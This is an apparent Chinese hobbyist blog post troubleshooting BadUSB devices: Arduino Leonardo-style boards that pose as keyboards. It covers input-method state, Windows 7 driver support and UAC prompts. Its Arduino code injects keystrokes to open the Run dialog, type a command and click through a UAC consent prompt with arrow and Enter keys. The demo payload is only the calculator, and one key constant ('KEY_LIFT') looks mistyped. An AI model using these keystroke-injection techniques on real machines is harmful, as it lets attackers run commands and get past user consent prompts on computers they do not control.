在制作BADUSB可能会遇到的问题

1.我们的电脑默认输入法问题

每个人的电脑的输入发都是不一样的, 有的人默认初始是中文,有的人默认初始是英文,这给我们的BADUSB执行代码方面造成了不小的风险,很有可能就是因为输入法造成代码执行的失败。

在上一篇制作文章上来说,我首先想到的是利用大写切换进行绕过

Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
但是就有另外的一种可能性就出现了,如果这个人在插入U盘的时候电脑是已经是开启了大写状态,代码也会执行失败,这个时候我又想到了按住shift进行绕过
Keyboard.press(KEY_LEFT_SHIFT);
Keyboard.release(KEY_LEFT_SHIFT)
但是也有另外一种可能就是在这个插入之前,默认汉字,但是已经按过shift了,这样执行出来的代码也是汉字,不成功的
最后,我吧这两个结合起来
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.press(KEY_LEFT_SHIFT);
Keyboard.release(KEY_LEFT_SHIFT);
不管你是默认中文还是默认英文,不管你开启了大写,还是汉字状态下按过shift,都能绕过,当时我觉得我是个天才,竟然把这个问题解决了,但是,现在的我想起来,我是不是傻!
有一个更完美的解决方法
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
就是连续按两下回车,这个就无视初始语言,无视大小写,无视shift,
当我们进行汉字输入时,按住空格确定汉字,但是按住回车就会原样的输入我们的字母,再次敲入回车即可完成输入,即使你是英文,在命令行的情况下按下两次回车也没有什么影响

2.Windows兼容性问题

上一篇文章的制作方法,在win10的情况下,能够完美的运行,但是在win7电脑上就出现了下面的这种情况

BADUSB常见问题解决方法-JE2Se ' Blog

是无法执行的,这是因为win7和win10 的设备驱动机制不同,这个大家自行百度,我们直接说解决办法

我们上次买的那种板子就有问题了,这种板子是没有烧入引导的,也没没办法烧入,我们需要换一种开发办,上次的板子买的价格是34块钱,今天说一种板子,更便宜,更兼容

BADUSB常见问题解决方法-JE2Se ' Blog

价格更优惠,我们上一种板子是

arduino Leonardo USB ATMEGA32U4

ATMEGA32U4这种不能支持win7的驱动,

而今天介绍板子是可以的,我上次没有发现,要不也没有今天的文章,支持win7驱动的这种板子制作方法相比较上篇文章的方法

比较困难,我也不说了,直接把开发文档放上来你们自己看看吧。

链接:http://pan.baidu.com/s/1eRGC9Qa 密码:9y24

解压密码:je2se.com

好扯,这个问题的解决办法就是换开发板子,我也真是服我自己,但是上一块板子我真的是用尽浑身解数,没搞明白。有大神知道也可以指点下迷津

3.UAC防护问题

BADUSB常见问题解决方法-JE2Se ' Blog

在执行一些关键的执行命令时,有的时候权限可能是不够,所以会弹出UAC警告,会影响我们的程序的执行,当然解决办法也时非常的简单

通常情况下我们弹出的UAC默认是选择否的,我们只需键入方向键,在键入回车进行绕过,以上篇文章的代码为例

include <Keyboard.h>
void setup() {
Keyboard.begin();//开始键盘通讯
delay(1000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(500);
Keyboard.press('r');//r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println("CALC");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();//结束键盘通讯
}
 
void loop()//循环
{
}
假设弹出CALC会进行UAC提示,我们只需在代码中插入
Keyboard.press(KEY_LIFT);
Keyboard.release(KEY_LIFT);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
即可绕过UAC,不,这可能不叫绕过,叫正常程序执行

上面说的可能有错误,因为我也是在学习过程中跟大家分享这个,所以说有错误的地方希望大家指正出来,或者有更好的方法也请教一下!


【请尊重原创作者,转载请标注转载来源】